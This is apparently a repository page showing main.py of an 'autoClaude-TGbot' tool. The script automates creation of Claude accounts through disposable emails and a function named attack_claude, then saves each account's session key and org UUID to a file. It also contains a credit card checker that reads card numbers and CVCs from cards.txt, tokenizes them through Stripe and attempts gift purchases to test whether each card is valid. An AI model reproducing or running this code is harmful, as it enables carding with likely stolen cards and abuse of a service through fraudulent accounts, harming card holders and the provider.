Files
autoClaude-TGbot/main.py

84 lines
3.3 KiB
Python
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
import time
import random
import string
from config import MAIL_SYSTEMS
from core.mail_service import MailPool, extract_magic_link
from core.stripe_token import StripeTokenizer
from core.gift_checker import GiftChecker
from core.claude_auth import attack_claude, finalize_login
# --- 主流程 (The Ritual) ---
if __name__ == "__main__":
# 1. 初始化邮箱系统池
mail_pool = MailPool(MAIL_SYSTEMS)
if mail_pool.count == 0:
print("[-] 没有可用的邮箱系统,退出。")
exit(1)
print(mail_pool.info())
# 2. 生成随机邮箱并注册
random_prefix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=10))
target_email, mail_sys = mail_pool.create_user(random_prefix)
if target_email and mail_sys:
# 3. 发送 Magic Link
if attack_claude(target_email):
# 4. 等待并提取链接(使用创建邮箱时对应的系统)
email_content = mail_sys.wait_for_email(target_email)
if email_content:
magic_link = extract_magic_link(email_content)
if magic_link:
print(f"[+] 捕获 Magic Link: {magic_link}")
# --- 终极步骤:登录获取 Account ---
account = finalize_login(magic_link)
if account:
print("\n" + "="*50)
print(f"[+] REGISTERED SUCCESSFUL")
print(f"Email: {account.email}")
print(f"SessionKey: {account.session_key}")
print(f"OrgUUID: {account.org_uuid}")
with open("accounts.txt", "a") as f:
f.write(f"{account.email}|{account.session_key}|{account.org_uuid}\n")
print("="*50 + "\n")
# --- CC Checker 流程 ---
cards = []
try:
with open("cards.txt", "r") as f:
for line in f:
line = line.strip()
if line and not line.startswith("#"):
cards.append(line)
print(f"[*] 从 cards.txt 读取到 {len(cards)} 张卡片")
except FileNotFoundError:
print("[*] 未找到 cards.txt跳过 CC Checker")
if cards:
tokenizer = StripeTokenizer(account.user_agent)
checker = GiftChecker(account)
for card_line in cards:
cc, mm, yy, cvc = card_line.split("|")
pm_id = tokenizer.get_token(cc, mm, yy, cvc)
if pm_id:
result = checker.purchase(pm_id)
print(f"Card: {cc[:4]}... -> {result}")
time.sleep(2)
else:
print("[-] 获取 Account 失败。")
else:
print("[-] 邮件内容中未找到链接,可能格式变了?")
else:
print("[-] 任务失败:未收到邮件。")